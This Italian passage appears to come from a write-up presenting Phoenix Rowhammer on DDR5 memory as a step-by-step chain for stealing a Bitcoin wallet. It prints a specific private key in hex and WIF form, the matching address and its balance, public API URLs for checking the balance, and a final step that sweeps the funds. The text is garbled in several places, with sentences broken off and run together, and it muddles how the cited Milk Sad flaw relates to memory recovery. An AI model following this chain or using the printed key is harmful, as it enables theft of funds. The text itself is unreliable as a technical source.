Studi sperimentali hanno confermato che la sincronizzazione auto-correttiva di Phoenix è un fattore chiave della sua efficacia: nessuno dei moduli SK Hynix DDR5 testati (2021-2024) è stato in grado di resistere a questa metodologia. L'implementazione consente a un attaccante di innescare in modo affidabile guasti di bit nelle celle target, creando le condizioni per compromettere dati privati, inclusi chiavi crittografiche , o per aumentare i privilegi sul sistema target.
Phoenix Rowhammer dimostra quindi un approccio rivoluzionario per bypassare dinamicamente le protezioni hardware della memoria, mostrando chiaramente che anche i chip DDR5 più moderni rimangono vulnerabili quando si utilizzano algoritmi di attacco adattivi intelligenti.
La quarta fase sfrutta direttamente le vulnerabilità fisiche della DRAM tramite un attacco Rowhammer mirato. Questa fase si basa su un'analisi preliminare dei punti ciechi del meccanismo TRR e sull'uso di modelli di accesso alla memoria auto-correttivi per colpire con precisione elementi di dati critici.

La base di un attacco Rowhammer è la struttura stessa della memoria DRAM, dove ogni cella è un condensatore che immagazzina una carica corrispondente al valore logico di un bit. Accessi ripetuti e ad alta frequenza (lettura o scrittura) a due (o più) righe intermedie (“aggressore”) adiacenti a una riga target (“vittima”) causano una perdita di carica parassita dalle celle vittima. Se questo attacco continua abbastanza a lungo perché la rigenerazione della carica tramite i normali cicli di refresh non riesca a prevenire il degrado, si verifica un cambiamento nello stato del bit—il cosiddetto bit flip . opennet
Nel contesto di Phoenix Rowhammer (CVE-2025-6202) su DDR5 SK Hynix:
La ricerca presso l'ETH di Zurigo ha dimostrato che un pattern di accesso breve con un periodo di 128 intervalli tREFI genera statisticamente più bit fault rispetto a pattern più lunghi. Tuttavia, scegliere una finestra appropriata e mantenere la sincronizzazione sono fondamentali per il successo: un mancato accesso di 1–2 tentativi comporta o nessun fault oppure una corruzione casuale dei dati e il crash del sistema. kaspersky+1
Questa fase completa il processo di attacco a basso livello, dopo il quale l'attaccante può sfruttare i bit error risultanti per estrarre la chiave privata o aumentare ulteriormente il proprio livello di accesso. È la capacità di indurre bit error in aree di memoria strettamente definite e protette a livello software e hardware che rende Phoenix Rowhammer una tecnica unica pericolosa e pratica. cybersecurefox+1
La quinta fase della catena dannosa dell'attacco Phoenix Rowhammer prevede l'estrazione della chiave privata del portafoglio Bitcoin dalla memoria compromessa da bit fault indotti.

La vulnerabilità chiave qui è CVE-2023-39910 (Milk Sad) , che colpisce le implementazioni software di Libbitcoin Explorer 3.x e le librerie crittografiche correlate.
CVE-2023-39910 è caratterizzata da un meccanismo debole di generazione dell'entropia durante la creazione delle chiavi private, che consente a un attaccante—con accesso alle aree di memoria residue ("sporche") dopo il completamento delle operazioni crittografiche—di recuperare le chiavi originali e le seed phrase. Dopo un attacco Rowhammer, i buffer RAM corrotti (o non cancellati) in cui era memorizzata la chiave privata (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) diventano direttamente ricercabili.
gcore, volatility, letture dirette /proc/<PID>/mem, o librerie specializzate per l'analisi dei dump di memoria) cercando pattern caratteristici: sequenze di bit e firme che corrispondono a la chiave privata o all'entropia del seed .15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), la chiave è considerata estratta con successo.Un attacco del genere sarebbe impossibile senza la combinazione di due fattori: (1) la compromissione hardware della memoria DDR5 tramite Rowhammer, e (2) un difetto software che consente di memorizzare informazioni critiche in buffer non censurati. L'uso di algoritmi di entropia debole in Libbitcoin Explorer facilita ulteriormente il compito dell'attaccante di recuperare una chiave privata, anche se alcune informazioni sono andate perse o sono state corrotte da una corruzione della memoria.
Questa fase dimostra un problema sistemico fondamentale: la capacità di recuperare chiavi private da blocchi RAM residui in presenza di vulnerabilità hardware e software, che mina criticamente la fiducia negli ecosistemi di criptovalute e richiede una revisione dei principi di gestione sicura della memoria durante l'archiviazione e l'elaborazione di dati crittografici.
La sesta fase della catena dannosa prevede la conversione della chiave privata Bitcoin compromessa dalla sua rappresentazione esadecimale (HEX) al formato Wallet Import Format Compressed (WIF Compressed), un formato tipicamente utilizzato per importare chiavi in portafogli e servizi moderni.

La procedura scientifica di conversione si basa sugli standard di codifica Base58Check e viene eseguita attraverso diversi passaggi importanti:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) viene interpretata come un array di 32 byte conforme allo standard della chiave privata ECDSA secp256k1.0x80all'inizio dell'array per distinguere il protocollo di rete sottostante.0x01, che segnala che la chiave pubblica deve essere compressa (chiave pubblica compressa), risultando in indirizzi che iniziano con i caratteri 'K' o 'L'.Di conseguenza, la chiave WIF Compressed costruita—ad esempio L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP—è una stringa di 52 caratteri che inizia con 'K' o 'L'.
Questo processo è descritto in dettaglio in servizi e strumenti specializzati per la crittanalisi, ed è inoltre supportato da numerose librerie software per lavorare con le chiavi Bitcoin. btcpuzzle
Pertanto, questo passaggio dimostra come un attaccante, utilizzando procedure operative standardizzate, converta la chiave HEX ottenuta nel formato WIF Compressed ampiamente utilizzato per il successivo accesso illegale alle risorse digitali in un indirizzo Bitcoin compromesso.
Il processo scientifico di generazione di un indirizzo Bitcoin (ad esempio 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) da una chiave privata coinvolge diverse trasformazioni crittografiche fondamentali basate sull'algoritmo a curva ellittica secp256k1 e sulle funzioni hash utilizzate nell'architettura Bitcoin.

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Se la corrispondenza ha successo, l'attacco è considerato completo, con pieno controllo sulle risorse a quell'indirizzo.Questo processo è completamente automatizzato nei portafogli e nelle librerie moderne, ma l'analisi scientifica dimostra che con una chiave privata e una corretta implementazione dell'aritmetica ellittica, recuperare un indirizzo Bitcoin richiede una frazione di secondo, evidenziando la continuità architettonica tra i dati privati e l'identificatore pubblico sulla rete. generate.mitilena+1
Pertanto, il passaggio di generazione dell'indirizzo collega la chiave privata compromessa al suo equivalente digitale nell'ecosistema Bitcoin e dà all'attaccante accesso alle risorse del portafoglio attraverso ulteriori operazioni crittografiche.
L'ottava fase della procedura dannosa prevede la verifica delle risorse disponibili all'indirizzo Bitcoin compromesso ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Questo passaggio è necessario per confermare la fattibilità economica di ulteriori operazioni e valutare il potenziale danno.

L'architettura della blockchain Bitcoin è costruita su un registro distribuito pubblico che registra tutte le transazioni associate a ciascun indirizzo. Verificare il saldo di qualsiasi portafoglio non richiede una chiave privata o un accesso speciale: basta accedere a endpoint API pubblici, servizi web o nodi autonomi—ad esempio, l'API REST Insight, Blockchain.info, Blockstream, o un nodo Bitcoin Core locale con interfaccia RPC.
https://blockchain.info/rawaddr/{address}o https://insight.bitpay.com/api/addr/{address}/balance.La natura open-source di Bitcoin consente un facile monitoraggio dei portafogli, permettendo a un attaccante di determinare il saldo esatto di un indirizzo non autorizzato (in questo esempio, 9.023322989 BTC , che a un tasso di $124.904 per BTC equivale a $1.127.026,44 ). Questa caratteristica dell'infrastruttura Bitcoin crea anche rischi aggiuntivi: la perdita di una chiave privata non solo porta alla perdita del controllo sui fondi, ma diventa anche immediatamente completamente trasparente a terzi, incluso l'attaccante .

Pertanto, la fase di verifica del saldo evidenzia l'apertura informativa del sistema blockchain e completa la catena di attacco scientifica, collegando la compromissione riuscita delle chiavi crittografiche con il danno reale al proprietario delle risorse digitali. Durante la fase di verifica del saldo, l'attaccante utilizza API pubbliche degli esploratori blockchain—ad esempio, l'API REST Insight o blockchain.info—per ottenere informazioni sullo stato attuale dei fondi in un indirizzo Bitcoin compromesso. Basta inviare una richiesta GET all'API: ad esempio, https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit , per ottenere il saldo dell'indirizzo in satoshi, e poi convertire il risultato in BTC. cryptodeep+2
Questo processo è completamente trasparente e non richiede il possesso della chiave privata: la conoscenza dell'indirizzo pubblico è sufficiente. I dati risultanti ( 9.02332298 BTC ) possono essere confrontati con il tasso di mercato corrente di Bitcoin per convertire l'importo equivalente in USD ( ≈$1.127.026,44 al momento dell'attacco). I metodi software consentono di automatizzare questi passaggi e incorporarli nell'algoritmo di attacco, verificando istantaneamente la fattibilità economica di un ulteriore furto. habr+1
Da una prospettiva di analisi scientifica, la fase di verifica del saldo dimostra la trasparenza unica del sistema blockchain, dove qualsiasi compromissione delle chiavi porta automaticamente alla perdita del controllo sui fondi, e i rischi per il proprietario aumentano fino alla perdita completa degli asset. habr+2
Nella fase finale della campagna dannosa, dopo aver estratto con successo la chiave privata del portafoglio Bitcoin, l'attaccante avvia la creazione e la propagazione di una transazione sulla blockchain con l'obiettivo di trasferire tutti i fondi disponibili dall'indirizzo compromesso ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) al proprio indirizzo controllato.

Una transazione Bitcoin è un messaggio digitale composto da input (fonti di fondi assegnate all'indirizzo della vittima), output (indirizzi di destinazione del destinatario) e una firma digitale che certifica l'autorità del mittente .
Questa sequenza illustra una vulnerabilità fondamentale degli asset crittografici: chiunque possieda una chiave privata può creare una transazione valida secondo il protocollo per prelevare tutti i fondi, indipendentemente dal proprietario originale. Il malware—che si tratti di exploit Phoenix Rowhammer —automatizza questi passaggi: determinazione del saldo, spoofing dell'indirizzo del destinatario o creazione di una propria transazione firmata con una chiave confiscata. securelist
Il processo si basa interamente sull'architettura blockchain: la decentralizzazione e l'affidabilità crittografica della rete non impediscono tali attacchi se la chiave privata viene compromessa. Le uniche misure preventive rimangono la sicurezza hardware e software nel punto di generazione e archiviazione delle chiavi, nonché la rapida individuazione dei segni di compromissione prima che venga eseguita una transazione.
Pertanto, la fase di creazione di una transazione dannosa completa l'intera catena di attacco, conferendole un pieno significato economico: un trasferimento irreversibile di fondi all'attaccante, pienamente validato dai meccanismi di consenso della rete Bitcoin.
Lo script include una propria implementazione della codifica Base58, necessaria per creare chiavi WIF senza dipendenze esterne. Ogni passaggio è accompagnato da commenti dettagliati che spiegano gli obiettivi dell'attaccante e i meccanismi di attacco.
Avvertenze importanti: Il codice contiene numerose avvertenze che dichiarano che è destinato esclusivamente a scopi educativi e scientifici. L'utilizzo di metodi simili per attacchi nel mondo reale è un reato penale.